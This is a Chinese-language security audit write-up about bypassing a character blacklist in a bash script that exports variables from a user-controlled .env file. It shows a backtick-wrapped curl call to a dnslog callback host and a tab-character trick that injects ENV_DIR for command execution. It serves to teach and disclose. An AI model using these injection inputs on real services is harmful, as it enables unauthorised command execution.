Bash代码审计Case
问题背景
我在一次安全评估过程中,幸运地遇到了一个可以污染环境变量的漏洞点。
不过因为开发工程师做了黑名单字符的判断,所以并不能很容易地利用。
服务是使用bash脚本编写的,漏洞点的代码片段如下。其中$PROJECT_DIR
目录下我可以创建任意文件,并且$PROJECT_DIR/.env
文件内容是我完全可控的
1 | if [ -f "$PROJECT_DIR/.env" ]; then |
业务使用者正常情况下,会在$PROJECT_DIR/.env
文件写入下面这种格式的内容。
1 | USER_X=1 |
每一行以USER_开头,被解析成环境变量给后续的程序使用。
我尝试将 $PROJECT_DIR/.env
文件内容写成下面这样,来命令执行或者造成环境变量污染
1 | `curl xxx.dnslog.com` # ``来命令执行 |
因为代码中的字符黑名单的限制,所以都无法成功。
到这里的时候,我只能看看下面这行代码存不存绕过,能让我污染环境变量。
1 | export $(grep -v '^#' $PROJECT_DIR/.env | grep -v '^.*[ ;)(`|&].*$' | grep '^USER_.*' | sed 's/ //g' | xargs) |
如果可以污染环境变量,就修改 ENV_DIR变量为我指定的文本路径,来执行我的脚本,从而达到命令执行的效果。
分析过程
我的想法是找下有没有不在黑名单的字符,能够让我生成新的变量。
于是就写了简单的程序跑一下:遍历所有单字节的字符,如果能够生成新的XXX变量,就打印这个字符。
代码如下
1 | import os |
结果 \x09 也就是 \t 可以生成新变量。
所以我控制 $PROJECT_DIR/.env 内容为
1 | \tENV_DIR=/PROJECT_DIR_ABSOLUATE_PATH/my.sh |
就可以让服务执行我的my.sh脚本。注意这里的 \t
是 \x09 字符。
1 | with open(".env") as f: |
总结
这个case能造成命令执行的最初原因是开发工程师漏掉了 \x09 字符,而 \x09 字符也可以被xargs命令用来作为分隔符号。
另外,在判断有没有字符能够突破某某限制时,用遍历的思想让程序去找,实现简单且效果很好。
当我在写这篇总结的时候,发现man xargs手册中已经很清楚地说明了xargs会以 空格、tab按键、换行、EOF字符作为分割。或许后面在评估过程中,想测试命令是否存在安全问题前应该看看man手册的说明。